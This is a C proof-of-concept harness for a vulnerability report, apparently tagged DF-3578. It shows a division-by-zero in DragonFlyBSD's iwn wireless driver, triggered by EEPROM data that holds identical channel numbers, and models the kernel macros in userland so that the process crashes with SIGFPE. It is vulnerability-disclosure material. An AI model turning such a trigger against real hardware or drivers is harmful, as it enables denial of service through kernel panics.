DF-3578 / iwn_eeprom_div0.c
/* * DF-3578 PoC harness: division by zero in iwn4965_set_txpower() * sys/dev/netif/iwn/if_iwn.c:5628-5777 (DragonFlyBSD) * * The macros and the interpolate() call below are copied verbatim from * iwn4965_set_txpower(): * * if_iwn.c:5633 #define fdivround(a, b, n) \ * ((((1 << n) * (a)) / (b) + (1 << n) / 2) / (1 << n)) * if_iwn.c:5636 #define interpolate(x, x1, y1, x2, y2, n) \ * ((y1) + fdivround(((int)(x) - (x1)) * ((y2) - (y1)), (x2) - (x1), n)) * * if_iwn.c:5707-5715: * power = interpolate(chan, chans[0].num, chans[0].samples[c][1].power, * chans[1].num, chans[1].samples[c][1].power, 1); * * `chans' is sc->bands[i].chans, filled straight from EEPROM at * iwn4965_read_eeprom() (if_iwn.c:2314): * iwn_read_prom_data(sc, IWN4965_EEPROM_BANDS, sc->bands, sizeof sc->bands); * with NO validation that chans[0].num != chans[1].num. If a malicious * (or corrupt) EEPROM contains equal channel numbers in the two sample * slots, the divisor (x2 - x1) becomes 0 -> integer divide error -> * kernel panic at ifconfig wlan0 up (iwn_config -> ops->set_txpower). * * This userland model executes the exact macros with such EEPROM values. * Success criterion: SIGFPE (exit status 136), control values survive. * * Build: cc -O2 -o iwn_eeprom_div0 iwn_eeprom_div0.c * Run: ./iwn_eeprom_div0 */ #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> /* ---- verbatim from if_iwn.c:5632-5637 ---- */ #define fdivround(a, b, n) \ ((((1 << n) * (a)) / (b) + (1 << n) / 2) / (1 << n)) #define interpolate(x, x1, y1, x2, y2, n) \ ((y1) + fdivround(((int)(x) - (x1)) * ((y2) - (y1)), (x2) - (x1), n)) /* minimal model of struct iwn4965_eeprom_chan_samples / ..._band */ struct sample { uint8_t temp, gain, power, pa_det; }; struct chansamp { uint8_t num; struct sample samples[2][3]; }; struct band { uint8_t lo, hi; struct chansamp chans[2]; }; int main(void) { struct band b; uint8_t chan; uint8_t power; /* * Feed the "EEPROM image" through volatile storage so the compiler * cannot constant-fold the division (gcc -O2 otherwise folds the * compile-time-visible 0/0 UB instead of emitting a hardware idiv, * which would hide the fault). At runtime the values below come * from iwn_read_prom_data() and are equally opaque to the kernel. */ static volatile uint8_t eeprom_image_good[2] = { 36, 64 }; static volatile uint8_t eeprom_image_evil[2] = { 36, 36 }; static volatile uint8_t vchan = 36; /* control: well-formed EEPROM (36, 64) -> no fault */ memset(&b, 0, sizeof b); b.lo = 34; b.hi = 43; b.chans[0].num = eeprom_image_good[0]; b.chans[1].num = eeprom_image_good[1]; b.chans[0].samples[0][1].power = 40; b.chans[1].samples[0][1].power = 44; chan = vchan; power = interpolate(chan, b.chans[0].num, b.chans[0].samples[0][1].power, b.chans[1].num, b.chans[1].samples[0][1].power, 1); printf("control (nums %u/%u): power=%u OK\n", b.chans[0].num, b.chans[1].num, power); fflush(stdout); /* malicious EEPROM: identical sample channel numbers -> divisor 0 */ b.chans[0].num = eeprom_image_evil[0]; b.chans[1].num = eeprom_image_evil[1]; printf("malicious EEPROM (nums %u/%u): calling interpolate ...\n", b.chans[0].num, b.chans[1].num); fflush(stdout); power = interpolate(chan, b.chans[0].num, b.chans[0].samples[0][1].power, b.chans[1].num, b.chans[1].samples[0][1].power, 1); printf("UNEXPECTED: survived, power=%u\n", power); return (1); } |